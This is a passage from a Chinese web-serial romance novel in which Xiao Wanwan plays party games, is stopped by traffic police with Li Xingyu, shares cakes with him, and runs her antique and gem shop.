她控分了，在她意识到20道题里能回答出16、7题左右的时候，硬生生改成错误答案。 多少有点掩耳盗铃、欲盖弥彰、此地无银三百两的意思，意识到这一点，萧妧妧人都傻了。 【作者有话说】 感谢读者“招財貓魚”,灌溉营养液 +2 209 第209章 ◎我们又可以拍合照了，高兴吗？◎ 黎行聿比她想象的了解她,同样的，她也比自己想象的了解对方。 萧妧妧沉默了，鹌鹑似的窝在沙发里看大家玩游戏。 黎行墨好不容易哄好了人，高高兴兴过来邀请她去打牌,萧妧妧正觉得气氛有点微妙,说话不对,不说话又尴尬,接到邀请长舒一口气，迫切跟去隔壁的棋牌室。 加上萧妧妧一共六人,虽然大家叫不出彼此的名字，但不妨碍一起在牌桌上厮杀。 萧妧妧不确定是对面几人技术高超,还是自己心不在焉，总之,几轮下来她次次输，脸上贴了好几张白条。 而对面,尤其黎行墨,脸上干干净净,没人比他更嘚瑟。 萧妧妧的胜负欲瞬间爆棚,嚷嚷着继续—— “快快快,妧妧姐你又输了。” 萧妧妧泄气，脸上已经找不到地方贴了。 “不行，你们总是赢，不玩了。” 萧妧妧承认她现在多少有点耍赖的意思,又不是抖M，上赶着玩游戏找虐,赢不了就不玩了呗。 她话音一落,牌友们不满了,接二连三驳回她的退出申请。 “那不行，说好了玩下去的，大不了我们不欺负你。” “就是就是，再玩几把，输了就跑会被骂玩不起。” 萧妧妧想反驳，忽然感觉肩膀一沉，被人从身后拍了两下。 扭头，黎行聿不知道什么时候坐在她身后。 萧妧妧扯扯嘴角，弯出一个不太好看的笑容：“怎么了？” 输了太多次，萧妧妧有点上头，这会也不觉得尴尬了，如常搭话。 黎行聿微抬下颌，示意对面几个嚣张的牌友：“要不要帮你报仇？” 萧妧妧没来得及回话，黎行墨先不满叫嚷：“我不同意，大哥你得讲规矩，你们这是作弊，观牌不语真君子！” 黎行聿没理他，只等萧妧妧表态：“换我上，让他们也贴……” 他数了数萧妧妧脸上的白条，失笑说：“和你贴一样多。” 黎行墨一声卧槽脱口而出：“大哥你不讲信用！” 其他牌友倒是无所谓，热烈欢迎：“来来来，一起玩，人多更有意思。” 萧妧妧犹豫两秒，虽然不是自己亲手报仇不太爽，但隔岸观火更舒坦。 她往旁边挪了挪，空出位置方便他坐过来。 “不行，必须贴得比我多，他们脸大，够贴。” 黎行聿闷笑一声，“好。” 黎行聿答应的事情果然不会落空，简单的纸牌游戏落在萧妧妧眼里堪比复仇大戏。 他参与的第一轮结束，原本嘻嘻哈哈嘚瑟不已的几个牌友脸上各自多了一张白条。 萧妧妧幸灾乐祸的笑，可惜脸上贴满白条，只能看见黝黑的狐狸眼一闪一闪。 她小声报数：“还有9个。” 黎行墨一听，顿时想抽身，别人不知道他还能不知道？大哥肯定记牌算牌了，阴险得很。 他才不要送上门被大哥玩弄。 “没意思我不玩了，你们玩吧。” 黎行聿挑眉看他：“再来，输了就跑玩不起？” 黎行墨被堵的哑口无言，有话好好说，眼神偏偏跟着压过来，什么意思显而易见。 他气得摔牌，大哥背刺他！ 摔完牌，黎行墨又老实坐回去，主动洗牌，洗得乱七八糟试图让黎行聿的阴险技能失效。 然而事实并不如他所愿，黎行墨再次输了一轮，又输了一轮…… 脸上白条越贴越多，很快赶超萧妧妧，好在他脸确实大，看起来还能多输几次。 “不玩了不玩了，跟你们这种算牌的人玩真没劲。” 黎行墨连着输，一点玩游戏的体验都没有，让黎行聿报完仇，他说什么都不肯继续。 其他几人同样如此，被人压着打，完全体会不到胜利的爽感，在黎行墨的带动下，纷纷附和说不玩了。 “打牌没意思，走，咱们回去玩真心话大冒险，我准备了好多好东西。” 黎行墨其中一个舍友冲着大家挤眉弄眼，黎行墨更坐不住了，呲溜一下溜走。 黎行聿侧身，顶着一张干净的脸笑着问她：“满意吗？” 萧妧妧哪有不满意的，笑得嘴角疼，一把扯掉脸上白条，得意仰头。 “满意，特别满意，我还以为他们多输得起呢。” 黎行聿抬手抚摸她毛茸茸的发顶，没等按上去，黎行墨折返回来。 “你们俩别磨蹭了，赶紧出来玩游戏，所有人都参与。” 黎行墨挑唇笑得恶劣，他承认他就是故意的，说完施施然离开。 黎行聿不自然地收回手，去看萧妧妧的意思。 萧妧妧表情淡淡，假装没看出他刚才想做什么，起身参与游戏。 两人先后领号码牌加入其中，黎行墨见人到齐，开始讲解规则，见大家无异议才转动酒瓶，开启游戏。 黎行聿大概是被弟弟做局了，平安度过前面两轮，之后接连被酒瓶选中。 他瞥了黎行墨一眼，没说什么，直接从真心话盒子里抽题，交给主持人。 黎行墨急吼吼凑过去看，抢了主持人的活，大声喊出来：“谈过最遗憾的一段恋爱是哪段？为什么？” 读完，黎行聿没什么反应，黎行墨先垮下脸。 大哥谈没谈过，他还不知道吗？这问题选得不好，等于白问。 果然，黎行聿紧跟着回答：“没谈过，没有为什么。” 玩闹了一阵，大家兴致上头，又见黎行聿挺好说话，玩游戏也配合，不如外表那样冷淡，自来熟的起哄。 “不可能，开玩笑吧。” “看起来不像，必须说，不然不计分。” 黎家兄弟俩的长相虽然风格不同，但没人否认他们长得不好看，甚至格外出众。 任谁第一眼见他们都不认为两人会没有谈过恋爱。 黎行墨撇嘴作证：“我证明是真的。” 话落，大家惊异地瞄黎行聿，连声说看不出来。 黎行墨想起大哥的不容易，良心发作，别别扭扭解释：“大哥……平时太忙了。” 最忙的那段时间国内外不停出差，姐弟俩连人影都见不到，女朋友能不能忍受不知道，反正年纪尚小的他们接受不了，为此叛逆了许久。 云昭昭小声说：“我也可以作证，学长跟我提过。” 黎行墨原话怎么说的她记不清了，只说让她假装不知道，说黎先生大龄剩男谈个恋爱不容易，别打扰他们。 云昭昭说话时不着痕迹的偏了脸，朝着萧妧妧的方向。 萧妧妧默了默，想说她表现得未免有点明显。 大家发出吃不到瓜的遗憾叹气，允许黎行聿积一分，催促开始下一轮。 黎行墨不怀好意地瞄一眼周围，转动酒瓶。 不出意料，又是黎行聿。 十几个人围成圈，两次都抽到他，两边排排坐的人不禁怀疑风水不好，仗着游戏规则里没有限定换座位的条件，纷纷起身爬去毯子另一边。 “昭昭姐姐，麻烦你往旁边坐坐，谢谢哈。” “我也要，我可不想被抽到。” 萧妧妧配合的往一旁挪了位置，闹哄哄一阵后，她傻眼了，左手是云昭昭不变，右边的人成了黎行聿。 黎行墨环顾一圈，笑得贱兮兮，提醒大家赶紧坐好，马上开始抽签。 黎行聿看穿了他的小伎俩，斜他一眼，伸手去真心话的盒子里抽题。 黎行墨不等他交出来，直接上手抢，展开纸条。 “有没有喜欢的异性？Ta是你的理想型吗？和ta约会的时候会精心打扮吗？” 黎行墨语气略显激动，飞快读出长串问题。 黎行聿回答得干脆：“有，是，会。” “就这？” “不然呢？” 黎行墨不满嚷嚷：“详细点说。” “有喜欢的异性，是理想型，会精心准备，可以了吗？” 黎行墨想继续挑刺，张了张嘴发现根本挑不出毛病，不得不放过他，勉为其难加一分。 他哼哼两声，转动酒瓶。 萧妧妧以为十几号人转到自己的概率不大，或者没那么快，结果黎行聿之后就轮到了她。 萧妧妧狐疑看黎行墨，怀疑他做局技术不佳，连累了她。 目前没人选大冒险，也不知道大冒险的任务是什么风格，萧妧妧自然随大流选真心话。 黎行墨接过纸条时两眼发光，大声朗读：“真心话刷新失败，请转大冒险第3条。” 萧妧妧震惊：“还可以这么玩？” 其他人纷纷哀嚎，怎么真心话也不安全了呢。 游戏主持人发话：“避免大家只选真心话，我们在真心话题库里强制安排了大冒险强制触发机制，来，我们看看大冒险第三条任务。” 主持人在箱子里翻找一番，打开纸条：“给前任打一通电话，内容不限，必须保证通话时长超过30秒。” 萧妧妧松了一口气：“没有前任。” 黎行墨：“那就crush。” 萧妧妧咧嘴笑：“太好了，也没有。” 黎行墨不死心：“玩得好异性也没有？” 萧妧妧一本正经：“那倒是有，但这样没什么挑战。” 众人点头附和，转而说：“那就相亲对象，这个总该有吧？” 萧妧妧笑容僵住，糟了，她真有。 她没能立刻给出否定答案，大家瞬间明白，轰的一下闹开，撺掇她给相亲对象打电话。 萧妧妧抖着手掏出手机，从列表深处挖出久不联系的陌生人。 相亲对象是她刚回南市的时候小姑介绍的，两人加上联系方式有一搭没一搭聊过一阵，之后谁都没提约出去见面，加上萧妧妧店铺开起来有点忙，后来就彻底没联系了。 萧妧妧拨通语音通话，先发制人：“别说话，先听我说，有一个大瓜，震撼你全家。看在是朋友的份上我偷偷告诉你，帮我保密，千万不要告诉任何人是我说的。认识的一个五十多岁老大爷男扮女装约会上千名年轻男性，带回家中拍摄……” 萧妧妧眼睛盯着屏幕，一跳过三十秒，她马上改口：“抱歉，认错人了。” 然后二话不说挂断。 她得意展示手机屏幕，“看，三十秒不多不少。” 其他人目瞪口呆，佩服不已，“等一下，昭昭姐姐你先把瓜说完，这是真的假的？” 萧妧妧一眼扫过去，大家对吃瓜的兴趣明显高于玩游戏。 这时，手机叮一声响，许久没联系的相亲对象连忙发来一连串抓狂表情包- 老大爷对他们做什么了？你先说完，我绝对不说出去。 萧妧妧没忍住，噗呲一下笑出声。 “我可以加分了吗？”她笑着问黎行墨。 黎行墨不情愿地说：“加。” “别说分了，昭昭姐姐你快说瓜啊，后来怎么了？” “游戏暂停，我们先吃瓜。” 萧妧妧没吊大家胃口，“后来啊，被拍成小视频发上网啦，1600人呢。” 有人反应过来，忙不迭上网搜瓜，了解更多细节。 之后的十几轮游戏正常推进，萧妧妧运气好，没被抽到几次。 直到震天响的劲爆音乐传来，彩色氛围灯照得套间忽红忽紫，众人齐刷刷扭头，透过套间的玻璃墙看楼下舞台中央。 台上有七八个男菩萨扭动腰肢，神情魅惑。 “不玩了不玩了，有男模跳舞。” “太好了，有好心人免费展示腹肌。” 大家的注意力瞬间被舞台上的俊俏男模拉走，趴在玻璃墙上看帅哥，以一种意料之外的方式结束游戏。 会所的夜间表演开始，代表时间来到晚上8点，住校的学生不得不赶回宿舍应付查寝，并不能停留欣赏。 黎行墨跳过萧妧妧和黎行聿，安排云昭昭和她的几个舍友同学回学校。 萧妧妧看他有条不紊的，每个人都照顾到，完全不是印象中的不靠谱模样 晚上的八点对于学生而言很迟，对于成年人来说还早，大家各自散去，萧妧妧准备找个地方过成年人的夜生活。 黎行聿看一眼时间，问：“吃宵夜吗？” 萧妧妧一惊，扭头瞪他：“你怎么知道？” 黎行聿笑：“眼观六路。” 萧妧妧抽了抽嘴角，戴上安全帽，解释道：“不能怪我，那个翻糖蛋糕太难吃了，今天不吃到好吃的蛋糕我会睡不着。” 黎行聿了然：“所以今天的宵夜是蛋糕？你提起过的那家网红店？” 萧妧妧默了默，他怎么什么都知道。 黎行聿自觉跟上她：“不介意带我一起吧？说实话，有点好奇你喜欢的蛋糕是什么味道。” 来了来了，那种不自在的感觉又来了。 每当黎行聿稍稍表露出一丝进攻性，萧妧妧都会产生被入侵的错觉。 飘忽视线冷不丁撞上他专注的目光，看到黝黑眼底倒映着镭射紫狗头安全帽，萧妧妧措辞的委婉拒绝始终说不出口。 她胡乱摆弄两下安全帽，含糊道：“随便你。” 黎行聿笑笑，长腿一迈，熟练坐上史努比的后座。 萧妧妧愣了愣。 黎行聿：“怎么了？” 萧妧妧回头瞄一圈，没看到黎行聿经常坐的那辆商务车。 她以为黎行聿会回自己车上，然后跟着她去蛋糕店。 “没什么。” 萧妧妧悄悄挺直脊背，往前挪了挪，尽量不与他触碰。 提醒他抓稳，史努比平缓起步。 还没进入黄金周，路上已经涌现许多临近城市的车牌，道路拥堵不堪。 好在机动车道拥堵，和非机动车道没关系，萧妧妧骑着史努比一路畅通。 两人谁都没开口说话，保持着微妙的沉默。 等史努比钻进林荫街道，路上车辆断崖式减少，噪音一同甩在身后，黎行聿率先挑起话题。 “没听你提起过相亲对象，你们才认识吗？” 萧妧妧没反应过来：“什么？” 黎行聿微微俯身，凑到耳畔重复一遍。 萧妧妧感受到贴近的热度，越发僵硬，迟钝两秒回应：“刚回南市的时候家里人介绍的，认识两三个月了吧。” 黎行聿垂下眼眸，“见过面吗？你爸妈对他满意吗？” 萧妧妧头皮发麻，想跳车。 “没、没见过，我爸妈不挑的，是个人就满意。” 黎行聿被她最后一句逗笑，“你们……” 萧妧妧打断他的追问：“我要专心骑车，你别和我说话。” 黎行聿只好暂且按捺住，仰面迎风吹，最好能吹走胡思乱想。 萧妧妧果真没听到他的说话声，紧绷神经松弛些许。 然而没给她彻底放轻松的机会，萧妧妧瞥到前方路口反光的荧光色，霎时间面如死灰。 她今天出门只带了自己用的安全帽，没准备第二个。 换句话话说，黎行聿是裸着脑袋坐在她后座。 再换句话说…… 都怪黎行聿非要和她说话，害她没能及时看前面路况，现在躲也来不及了。 果然，交警已经注意到他们，示意她减速靠边停车。 萧妧妧欲哭无泪，“我们又可以拍合照了，高兴吗？” 黎行聿想问什么合照，没等出声，他就看到前方交警挥舞的荧光棒。 黎行聿：…… 【作者有话说】 先发后改~ 感谢读者“虫子太多好可怕”,灌溉营养液 +1 210 第210章 ◎他是自愿的◎ 似曾相识的场景再度发生,萧妧妧已然锻炼出心态。 她乖巧地推车过去听训，乖巧地向交警认错，乖巧地站在黎行聿身边，又乖巧地递上手机配合拍照发朋友圈。 至于为什么乖巧,除了不能反抗这一点以外,大概是因为她今天全妆,发在朋友圈里不会太过丢脸。 “拍照？不拍照了,你们守在路口抓下一个不戴头盔的人，抓到了你们就可以走。” 萧妧妧有一瞬间的可惜,她的妆容保持得还不错。 交警古怪看她，怎么还有人上赶着拍照片发朋友圈自找社死？ “各个区域执行的标准不一样,你们想拍照发朋友圈也行……” 萧妧妧摇头拒绝：“不不不，我们选抓人。” 发朋友圈多少有点社死,以前无所谓，现在不行,现在她的朋友圈有好多客户,不能给人留下法外狂徒的印象。 萧妧妧扭头看黎行聿,告诉他好消息：“太好了,不用社死了。” 她乖觉地穿上荧光马甲,拿上荧光棒，守株待兔。 南市没有夜生活这句话不是开玩笑的，八点多不到九点，老城区多得是散步的居民,见不到几个骑电动车的路过。 偶尔几个嗖一下过去，人家老老实实戴着安全帽呢。 离谱,大家都这么遵纪守法的吗？ 萧妧妧遗憾去看黎行聿那边,他守着纵向的路口,看起来也没什么收获。 黎行聿还记得他们的目的，扫一眼手表，问：“蛋糕店几点关门？我们赶得上吗？” 萧妧妧不确定地说：“关门时间是十一点，赶是赶得上，不过这家好吃的几款很受欢迎，我们耽误一会恐怕买不到。” 黎行聿沉吟片刻，再次确认：“只要抓到一个违规的就可以？” 萧妧妧点头。 黎行聿勾起唇角，拍拍她的镭射紫狗头，“保证能让你吃上蛋糕。” 眼神向她示意过后，他转身走到路旁打电话。 萧妧妧听不清他说了什么，于是专注守着路口，等待撞上来的兔子们。 可一辆又一辆电动车蹿过去，不知不觉时间已经过去半个多小时。 “请问，没戴头盔，是罚款还是怎么着？” 萧妧妧一直盯着人流多的横向路口，冷不防身后冒出一只傻兔子送上门，惊喜不已。 不戴头盔不仅不躲，还主动撞上来，赤裸裸地挑衅。 萧妧妧飞快脱下马甲，嚷嚷着“抓到了抓到了”找交警叔叔交差。 她转过身，看清咧嘴憨笑的傻兔子，狐疑目光落在一旁的黎行聿身上。 黎行聿淡笑：“辛苦了。” 萧妧妧：…… 打工人真不容易。 刘秘书一身西装，生疏地操控不知从哪借来的装有外卖箱的电动车，主动送上门求抓。 为什么说他是主动呢，萧妧妧瞥到塞在外卖箱却没塞严实的黄色头盔。 再看刘秘书软趴趴的发型，显然刚摘下没多久。 交警慢一步赶来，挥挥手让他们离开，转头开始教训刘秘书。 刘秘书认错态度良好，甚至在看到黎行聿跨上史努比后，说一声稍等，把准备好的头盔送了过来，防止两个倒霉蛋再次被抓。 萧妧妧：…… 交警同志：…… 黎行聿神色坦然，拍拍她肩头，提醒：“快9点了。” 萧妧妧回神，小声对刘秘书说声抱歉，史努比嗖一下蹿出去。 黎行聿：“别多想，刘秘书乐于助人。” 不多想不行，萧妧妧已经代入社畜视角，为刘秘书心痛了。 黎行聿补充道：“9月奖金翻倍，假期延长三天，他是自愿的。” 萧妧妧哦了一声，恍悟。破案了，难怪刘秘书的笑容真心实意。 拐过路口，加速行驶，南市最近风头正盛的蛋糕店很快出现在眼前。 萧妧妧看外面仍旧排着长长的队伍，暗叫一声完蛋，安全帽来不及摘就要跑进去。 黎行聿见状拉住她，摘了她的安全帽。 “不急，肯定能买到。” 萧妧妧不知道他哪来的自信，刚想催他动作快点，黎行聿手机屏幕亮起，一通电话打进来。 黎行聿接通电话，拉起萧妧妧大摇大摆进店。 “您好，是黎先生吗？您定的蛋糕已经做好了，可以尽快来取吗？” 电话里失真的人声与柜台后的店员温柔客气的声音同步传过来，萧妧妧后知后觉反应过来。 黎行聿掐断电话，对店员说：“谢谢，我们选择堂食。” 店员慢半拍意识到她正在电话通知的顾客已然进店，多看一眼少见的帅哥美女组合，她迟钝回应一声，将打包好的东西递给他们。 萧妧妧目瞪口呆，远离柜台后忙不迭追问：“你怎么办到的？我记得这家店火了以后就不接受预定了。” 黎行聿没有邀功的意思，淡声说：“没什么，提前拜托刘秘书来店里点单而已。” 萧妧妧不疑有他，转而对着小蛋糕们发呆。 她想吃的只有其中一款，也只能吃得下一款，但黎行聿一下子买了七八个，全是眼下受欢迎的网红款。 “不知道你会不会想尝尝其他口味，都买了一点。运气还不错，没有售罄。” 萧妧妧嘴角抽搐：“可问题我们是吃不完。” 黎行聿：“那就带回家。” 也只能如此了。 萧妧妧满怀期待地拆开青柠味小蛋糕，又做主替他选了一款不那么甜的薄荷海盐味蛋糕。 黎行聿原本打算陪着她吃完，自己没想碰，可对上她眨着亮晶晶的眼睛，又叭叭个不停，极力夸赞蛋糕的美味，黎行聿没什么原则的改变主意。 萧妧妧得意：“相信我的品味，绝对惊艳你。放心，这家的薄汗海盐味清新清爽，不会很甜的，有点像牙膏的感觉。” 刚举起叉子准备下手的黎行聿忽然停顿，好糟糕的安利。 萧妧妧急忙描补：“比牙膏好吃。” 她一副后悔说错话影响小蛋糕名声模样，黎行聿忍俊不禁，叉子如愿以偿陷入奶油的包裹。 在萧妧妧期待探究的目光里，他勉为其难地吞下齁咸的奶油，面容僵硬。 “还不错，如果不那么咸的话。”黎行聿违心评价。 萧妧妧想尝尝有多咸，上次吃的时候味道刚好，比她在任何一家店吃到的薄汗海盐蛋糕都好吃。 但……萧妧妧举了一会叉子，实在做不到向他的小蛋糕下手。 如果是好朋友，她可以毫无顾忌的分享，偏偏两人现在的氛围谈不上多纯粹，萧妧妧不敢乱来。 她泄气地放下叉子，准备靠青柠味蛋糕解馋，一次性纸碟倏地出现在视野里，上面分出一小块清新的薄荷绿。 黎行聿：“是你的眼睛说想吃它。” 萧妧妧腼腆的嘿嘿笑，扫一眼缺了两角的薄汗海盐蛋糕，垂下脑袋。 分蛋糕本身没什么，有什么的是萧妧妧充满杂念的脑瓜，稀松平常的事情总让她品出暧.昧感。 大概是因为分蛋糕的人不同吧。 她埋着脑袋尝了一口薄荷海盐，奶油在口腔融化的瞬间，萧妧妧的五官随之挤成一团。 黎行聿询问的眼神投过来，同时递来柠檬水。 她苦着脸说：“……好像吃到盐块了。” 囫囵吞下奶油，又喝两口水压下咸味，她吐槽道：“飘了飘了，成了网红以后品控都变差了。” 回想初次吃到它的惊艳，在对比眼前的失败品，萧妧妧内心有一点点遗憾。 挪走薄荷海盐，萧妧妧重新挑一块给他，做为弥补。 “茉莉奶白，或者榛子奶油？这两款都还不错。” 挑挑拣拣，最后在这两款蛋糕里犹豫不决，萧妧妧干脆交给黎行聿决定。 黎行聿好一会没吱声。 萧妧妧觉得奇怪，抬头，却见他神情空白，通红的耳根存在感十足，连带着脸上都泛起薄薄的粉，眼神涣散地落在…… 稍稍偏头，视线下移，落在她手边的两只水杯上。 萧妧妧不明白这有什么可看的，联系黎行聿的反应，脑筋突然转过弯来，轰一下红了脸。 黎行聿下意识动作递上水杯，没仔细看，她接下的时候也没多想，以至于事情走向更加暧.昧。 她喝的是黎行聿喝过的水杯。 小意外而已，不算大问题……萧妧妧说服了自己，懒得帮他挑什么蛋糕，索性两个一起推过去，爱吃不吃。 萧妧妧这下老实了，乖巧吃蛋糕，不做任何多余动作。 沉闷微妙的气氛里，黎行聿缓缓回神，虚焦的视线落在面前乌黑浓密，泛起一圈光晕的发顶。 有两个旋，可爱。 顺着柔顺发丝，他注意到开开合合的嘴唇和鼓起的两腮…… 窒闷感瞬间侵袭全身，他想喝水，手刚伸出去忽然停顿下来，手指僵在半空。 五六秒左右，黎行聿不自在地蜷了蜷指尖，若无其事地拿起水杯。 冰凉的柠檬水下肚，不仅没有缓解身上的窒闷和躁意，似乎更渴了，躁得他呼吸不畅。 黎行聿深吸气，抬手搭上锁骨附近，指尖习惯性向下勾——却只摸到丝滑的衣料，领口微敞。 没有领带可松。 自从发现萧妧妧不太喜欢他穿全套西装以及戴领带后，黎行聿几乎不在正式场合以外的地方这么穿。 如果是和她见面，他会优先选择更加随性潇洒的休闲装扮。 因为萧妧妧会直勾勾地盯着他，或者自以为隐晦地偷瞄。 她的眼睛会说话，直白地表达她的欣赏。 黎行聿叹气，只好放下胳膊挽起袖口，试图起到降体温的效果。 然而触到冰凉圆润的狗头袖扣，黎行聿的降温计划还没开始就失败了，甚至愈演愈烈，身体里好像有一团火。 他艰难地挪开视线，望向窗外摇曳的树影，下决心不再关注罪魁祸首。 “你对他是什么感觉？” 萧妧妧以为可以沉默到结束的时候，黎行聿突兀地开口。 没头没尾的一句话，她听得稀里糊涂：“谁？你在跟我说话？” 萧妧妧没敢抬头，怕对上他的眼睛。 仗着两颊有发丝滑落做为遮掩，她悄悄转动眼珠，偷觑对面的黎行聿。 好在黎行聿并没注意到她，半侧着身望向窗外，路灯透过玻璃窗在他脸上打下半边的暖色光影，店铺的冷光灯则照亮了另外半张脸。 萧妧妧多瞄一眼他的侧脸轮廓，收回视线。 真帅哥果然不挑角度……她暗暗嘀咕一句。 黎行聿慢吞吞的嗯了一声，“和你相亲的那个人。” 萧妧妧以为这事翻篇了，结果又莫名其妙绕回来。 “没什么感觉，我和他又没认识多久。” “如果认识得再久一点，你会对他有感觉？” 萧妧妧费解：“感觉这种东西，和认识时间没什么关系吧？” 黎行聿轻笑，似乎在认同她的观点，转而问：“不提感觉，你对他了解吗？ 比如人品，家庭环境，人际关系。再冒昧一点，他的财务状况，身体状况……” 顿了顿，他语气和缓些许：“毕竟相亲是以结婚为最终目的，多了解总归有必要。” “你是不是……” 话说一半，剩下长久的沉默。 黎行聿拧眉扭头，不解问：“是不是什么？” 萧妧妧差点忍不住问出‘你是不是喜欢我’这句话。 话到嘴边，理智占领上风及时制止了她，吞回即将出口的后半句话。 接下来这一个月有大小十几场拍卖，他们有无数次碰面机会，躲不掉的那种。 这时候戳破窗户纸，黎行聿怎么想她不知道，但萧妧妧可以肯定，她会尴尬，会无所适从。 直到她考虑清楚，是拒绝还是接受。 “你是不是对他感兴趣？需要我介绍你们认识吗？”她随口岔开话题。 黎行聿一怔，笑声浅淡，“确实有点好奇他是什么样的人，我不介意和他认识一下。” 萧妧妧垂下头，躲开他的视线。 她疯了才会介绍他们认识。 【作者有话说】 感谢读者“MAIRE”,灌溉营养液+10 210-220 211 第211章 ◎你犯什么事了？◎ 两人没能解决所有小蛋糕,剩下几块被萧妧妧带回小卖部，落入孟甜甜和柳如烟的肚子。 柳如烟爱得不行，嚷嚷着明天还要吃，以后每天都要吃。 萧妧妧：“我看你长得像小蛋糕。” 柳如烟咧嘴笑：“像小蛋糕多好啊,香香甜甜,我喜欢。” 她掏了掏袖子,取出一细长匣子递过去。 “喏,在佛前供了七七四十九日，你闻闻,上面还有香味呢。” 萧妧妧打开匣子放在鼻下轻嗅，果然有香火的味道。 “谢啦。”她高高兴兴收下东西。 蛋糕给她们留下,萧妧妧回房间休息。 十月一号，清晨8点,闹钟叮铃铃响。 萧妧妧先确认每天行程，防止冲突耽误事,然后麻利洗漱,打开院门做生意。 前面的小卖部同样要打扫,这两天没顾上,货架缺了不少东西。 进入秋天后,烤肠再度成为游客的心头好，迅速成为小卖部的销量冠军，每隔几个小时就得补一袋子上去翻烤。 萧妧妧一边陈列商品，一边盘点商品库存,及时补货。 将近十点，她勉强把小卖部收拾得像正常营业的样子。 此时,阳光也透*过绿荫洒下,光斑浮动跳跃,没有了夏日的灼热。 萧妧妧深吸气，秋日的凉爽气息扑进鼻腔，桂香若有似无。 书报亭卖花的爷爷不卖荷花了，改卖五颜六色的菊科花卉，萧妧妧想到焕然一新的店铺，索性包圆了两个水桶所有的花。 小卖部的柜台、展示柜、餐桌、窗台各放一捧，古董铺的柜子、架子、桌子也各摆一捧。 正好花瓶不够用，前些天和苏娇娇一起买回来的瓷瓶派上用场，插上鲜花后整个瓶子好像活过来似的。 “到底是死物，用起来才像个样子。” 它们板正的放在那里时，萧妧妧没觉得哪里不同，有了鲜花才有一些色彩。 “萧老板，今天来还古董，您得帮忙签字。” 才说到古董，借给剧组拍摄的几样宝贝如约送还。 “其实昨天晚上就该送来的，季导说太晚了不安全，我们便一大早过来，没耽误您事吧？” 随古董一起来的还有汪导和剧组的财务，两人坐着押送车辆一起，把古董交接清楚。 “不耽误，协议在哪呢？我签字。” 核对赔偿协议附带的清单，再核对送来的古董清单，最后仔细检查一下她的宝贝们，确认万无一失，爽快签名。 送走他们一行人，小院静了下来，萧妧妧望着满桌的东西，不自觉泛起笑容。 几个月前她还绞尽脑汁为投资电影找突破口，如今倒好，电影正式开拍，她的古董包括她自己都在里面混到了不少镜头。 现在，古董安全送回来，虽然电影还在摄制中，但对萧妧妧而言，整件事已经进行到全新的阶段。 她可以安心等着收钱了。 收两份钱。 一份是电影的投资回报，一份是电影大爆后手里古董的溢价。 哦，还有一份，是它们的衍生权益！ 一次投资赚三次钱，萧妧妧捂着脸，不敢想这种好事会发生在她身上。 “妧妧，妧妧？发什么呆呢，今天不是卖彩宝吗？怎么还没人上门啊？”孟甜甜满脸不解，这和她想象的踏破门槛完全不一样。 萧妧妧回神，并不见失望情绪：“正常，不破斋的彩宝一向卖不过翡翠玉石。” 黄金周前两天的上午只卖彩宝，中间两天卖和田玉碧玉，最后两天卖翡翠，上午做完生意，下午整理店铺，晚上参加拍卖。 不长不短的假期她安排得满当当。 有翡翠托底，彩宝卖不动对她而言没什么损失。 是这样的，国人确实更偏爱翡翠，或者说多数人更愿意购买翡翠。 时间来到十一点，萧妧妧以为上午不会有客人来看古董或者买彩宝的时候，不破斋终于迎来了黄金周第一波客流。 有人慕名前来买古董。 萧妧妧嘿了一声，这倒是稀奇，不破斋已经好久没卖出去古董了。 她热情招呼客人，抽空把匕首塞给孟甜甜，托她转交爱丽丝。 卖出一尊鎏金佛像，进账300万，然后生意突然好起来，接连来了七八个客人要看彩宝。 蓝宝石帕拉伊巴海螺珠这种大克拉的稍贵，小克拉的碧玺、沙弗莱、南红玛瑙等，一下子出去十几串。 拳头大小的绿松石以为没那么快出手，结果萧妧妧准备闭店吃午饭的时候，最后一位进店的客人点名买它。 尤其萧妧妧得知客人早在视频里对它一见钟情时，只能感慨缘份。 “支付宝到账83万元……” 手机传来消息提醒，萧妧妧恰好送走客人，关上院门。 孟甜甜招手催她过去吃饭：“今天客人挺多的。” 萧妧妧点头：“比不上之前卖翡翠的营收，不过也不少了。” 这半天下来，大小几件东西一共卖出去633万，拿去拍卖行又能买一件瓷器回来。 刚好她看中了大维德的一件彩瓷罗汉。 萧妧妧喜滋滋拿起筷子，夹起一块大鸡腿放进碗里，又夹起一块放旁边的空碗。 “爱丽丝呢？刚才我都看到她进来了，怎么不来吃饭？”萧妧妧含糊不清地问。 孟甜甜努努嘴，示意小卖部方向，“这孩子迷上动画片了，和烟烟抢着用平板。” 萧妧妧笑，想说又多了个网瘾少女，没等开口，爱丽丝抱着平板噔噔噔跑出来。 “姐姐，你看。” 爱丽丝把平板往两人中间一放，眨巴翠绿眼睛期待地望着她们。 萧妧妧茫然垂眸扫一眼画面：“看啥？” 孟甜甜：“这不是在打架吗？” 爱丽丝大声说：“不是打架，他们在驯龙！” 萧妧妧刚想说驯龙咋了，突然想起来爱丽丝那里也有一只龙。 她狐疑看向爱丽丝，爱丽丝恰好开口：“我要学驯龙！我可以出钱买课本。” 萧妧妧隐约有预料，哭笑不得。 孟甜甜完全没想到她会说这些，噗一声差点喷饭。 “傻子，我们这里可没有龙，怎么教你驯龙啊？” 萧妧妧好奇：“你不杀它了？不过甜甜说得对，我们没办法帮你，你看的这个叫动画片，是虚构的，魔幻片，我们拿它当故事看。” 爱丽丝闻言泄气地垮下肩膀，翠绿眼眸写满失望。 “不可以驯吗？可是……”她叹气说：“又有人往城堡送祭品，他们知道恶龙不在，趁机偷了城堡里的宝石。” 萧妧妧：“或许你可以试试，关于驯龙这一点，我们没办法帮你太多。” 顿了顿，她继续问：“是祭品出问题了？” 爱丽丝摇头，把自己的担心说出来：“恶龙不在城堡，那些士兵就会趁机占有宝石。可我们那里有无数人知道恶龙的城堡有巨大的宝藏，万一我真的可以杀死恶龙，那我和孩子们也会被他们杀死。” 活人送祭是为安抚恶龙，如果祭品逃回城镇，会被视为不详，百姓认定祭品的回归会带来恶龙的诅咒。 他们还认定诅咒和恶龙存活与否无关，如果屠杀了恶龙，染上恶龙的血，甚至会引来龙族追杀报复，直到死为止。 换句话说，即便爱丽丝杀了恶龙，也无法回到家乡。 她们只能缩在城堡的某一角落，或者开垦出另一片属于她们的秘密土地。 孟甜甜皱眉：“等于说你杀了龙什么好处都没有，还会被自己的同类厌恶抛弃，甚至被他们亲手害死，免得惹怒更多的龙？” 至于诅咒什么的，孟甜甜不太信，可爱丽丝那里连龙和矮人都存在，很难讲是不是真的。 爱丽丝听不太懂长难句，反应了一会点头。 萧妧妧：“这么说来，驯服恶龙让它成为你们的看门狗，确实是个好主意。” 打不过就加入，爱丽丝小小一人，想杀龙确实是地狱级难度。 